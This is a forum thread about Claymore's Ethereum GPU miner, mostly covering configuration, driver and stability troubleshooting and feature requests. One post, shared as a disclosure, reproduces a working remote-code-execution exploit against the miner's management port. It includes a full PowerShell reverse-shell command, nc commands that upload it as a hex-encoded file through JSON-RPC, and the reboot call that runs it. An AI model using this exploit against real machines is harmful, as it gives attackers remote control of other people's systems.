Claymore's Dual Ethereum AMD+NVIDIA GPU Miner v15.0 (Windows/Linux)

[iSuX]

Is it possible now or in a future version to move dcri and dcoin settings to dpools.txt?

Interesting question, why would you want to do that?
Pools relates to, (references), the pool and fallback pools you're mining with.

dcri relates to the hardware, tuning etc, (no relation to pool, at least not that I can see).

What situation are you trying to solve here?

Note: You can very easily have multiple batch files, containing a full config set, or use the config.txt for hardware setup, (dcri etc), and use a simplified batchfile to start, (referencing config.txt and pool.txt files).

Claymore is pretty nicely architectured in that sense, multiple configuration methods, depending on your use case or preference.

Also, a note on "moving", changing architecture in such a drastic way, is generally a very bad idea, unless there is a specific showstopper bug, (not likely in a more mature package). But essentially if you do that, you have a branch, and create a legacy of shit for users.
The mature users will know the old way, and the new users will probably only know the new way.

The reality of this is, endless questions about why "it" does not work from the very same people who never read the readme.

This is still an interesting question though, can you please add some background as to why you'd want dcri in the pools.txt file?

Happy mining.

Hi! Happy mining to all!

Newbies's  here! I use Claymore with 6x RX 580 GPUs on Windows 10 1803 and Radeon blockchain driver. The mode is ETH solo and here is my configs:

Code:

EthDcrMiner64.exe -epool eu2.ethermine.org:4444 -ewal 0xxxxxxxxxxxxxxxxxxxxxxxxxxx. -epsw x -ethi 4 -tt 68 -fanmin 80

When I use all 6 GPUs my system reboots every 5-10 minutes (with help of the watchog). When I use only 3-4 GPU it works perfectly. I tried to use different ones - any of them work well.

Is the cause in my power supply? It is some chinese branded 1600 W for $160. Or may be any other reasons for this case?

it's 1803 and driver combo.

Anyone has anyidea whats happening with ethermine.org? or is it Claymore or what? is it my connection?

I got Failovers but the hashrate is the same as always

Hi Claymore,

Can you add new event in EthereumManager - about rejected shares.
Not sure if it could be managed by user - to target specific ratio accepted/rejected, to put some limit, etc.
Or at least to be preset by you - rejected shares as % of the accepted.

The point is to get notification that a GPU is not working properly for some reason (pool, clock, whatever).
So that a proper action could be taken.

I hope you understand my desire.
In case that this is already possible in the remote manager - sorry for bothering. But please point how to do it.

Thanks
KVV

For 3GB Mining on Win10, use 376.33 Version of Nvidia Driver. Now, It is working without -eres command.

Thank you for the answer. But I read many messages before - people wrote here that they use the newest Windows version with blockchain drivers and it works fine.
What driver do you suggest to use in this case?

FYI a remote exploit for v7.3+ was made public:

https://reversebrain.github.io/2018/02/01/Claymore-Dual-Miner-Remote-Code-Execution/
https://www.exploit-db.com/exploits/44638/

Suppose the miner is running on localhost on port 3333. First of all you need to convert a .bat string into hexadecimal format, for example, this one uses powershell to spawn a reverse shell on localhost listening on port 1234:
 
powershell.exe -Command "$client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
 
Convert it into hexadecimal and paste it on the second parameter inside this string:
 
echo '{"id":0,"jsonrpc":"2.0","method":"miner_file","params":["reboot.bat","HEX_STRING"]}' | nc 127.0.0.1 3333 -v
 
Then, to trigger the vulnerability just send {"id":0,"jsonrpc":"2.0","method":"miner_reboot"}
string to the miner.
 
echo '{"id":0,"jsonrpc":"2.0","method":"miner_reboot"}' | nc 127.0.0.1 3333 -v
 
You got the shell!
 
This exploit works also on Linux, just substitute reboot.bat with reboot.bash or reboot.sh.

It's unclear if this issue has been fixed or not, feel free to provide more information on what versions if was fixed on if so.

Before continuing to read I want to clarify that I already emailed nanopool without receiving any kind or response, so I’m publicly disclosure this vulnerability waiting for a CVE assignment.

Well I'm using ethermine.org along with Claymore miner as well and not having any issue similar to that. However, I do remember that it happened a few months back when I had under-volted too much using Claymore miner's integrated under-volting feature. Once I raised the voltage (mV) back a bit, it started to work fine.

Are you using any sort of over-clocking or under-volting options of the miner?

https://www.exploit-db.com/exploits/44638/

More precisely, it works until v8.1, in v8.1 "-mport" is working in read-only mode by default, check "History.txt" file for details. Another thing required for this "exploit" is direct access to internet for the system, it will not work via NAT or firewall without your permission.
Later versions had another issue that was fixed too, see my message:

What driver do you suggest to use in this case?

18.x.x   like 18.3.4. Sometimes it works with 1803, even 18.4.x sometimes do, but most secure 18.3.4 with 1803 uninstalled (best from fresh win10 installation-updated )

Can anyone help me going please....

I get the "not enough GPU memory to place DAG" message, but feel my hardware should be sufficient?

AMD Athlon A10-7870K Godavari, Quad-Core, 4x3.9GHz, 4MB L2-cache, AMD Radeon R7 integrated
Nvidea GeForce GTX 1050 Ti 4 GB

Can anyone help me getting the config to work?

try these drivers that were already suggestion earlier

It could be the "AMD Radeon R7 integrated" that's causing the problem (not enough memory). Try removing it from the mining config using the "-di" option; see OP for a detailed description on this.

Examples:

Code:

 EthDcrMiner64.exe -epool us1.ethpool.org:3333 -ewal 0xD...E6F -epsw x -di 0
or
 EthDcrMiner64.exe -epool us1.ethpool.org:3333 -ewal 0xD...E6F -epsw x -di 1

fyi updated to 1803 and zero issues using 18.2.1 driver.  Mixed amd/nvidia rigs.

[Krishi]

Finally managed to get 11.7 running in ubuntu, had an issue where the miner couldn't find libcurl.so.4.
Only thing now is, for some reason the miner started mining devfee. Of course I don't mind except that I'm using a 1060 3gb and devfee is not supposed to mine on them anymore right?

What did you do to get it running?  Hopefully you found a workaround that allows you to have both libcurl4 and libcurl3 installed.

Well I'm very new to ubuntu, but I'm moving to it permanently now.
Honestly I'm not sure what I did to get it working eventually, a heck of a lot googling and installing packages.

from a shell:

dpkg -l libcurl4
dpkg -l libcurl3

The one that is installed will list the version.  The one that is not will simply say "<none>" for version.

Thanks for the data, good to know!

Have you all had any official security code reviews or application pen-tests in order to have more confidence that these types of trivial issues won't be found again?

Does anyone have any idea what could be causing this error? I've been dual mining XVG and ETH since 11.0 came out with 6 1070Ti's at +100/+650 OC. The rig ran for weeks at a time without any issues. A week ago I updated Windows to 1803 and the miner to 11.7, switched to mining ETH only and started getting this error after 70-80 hours of mining. Current OC settings are -200/+650. No rejected or incorrect shares. I've mined ETH only before at these OC settings and didn't have any issues.
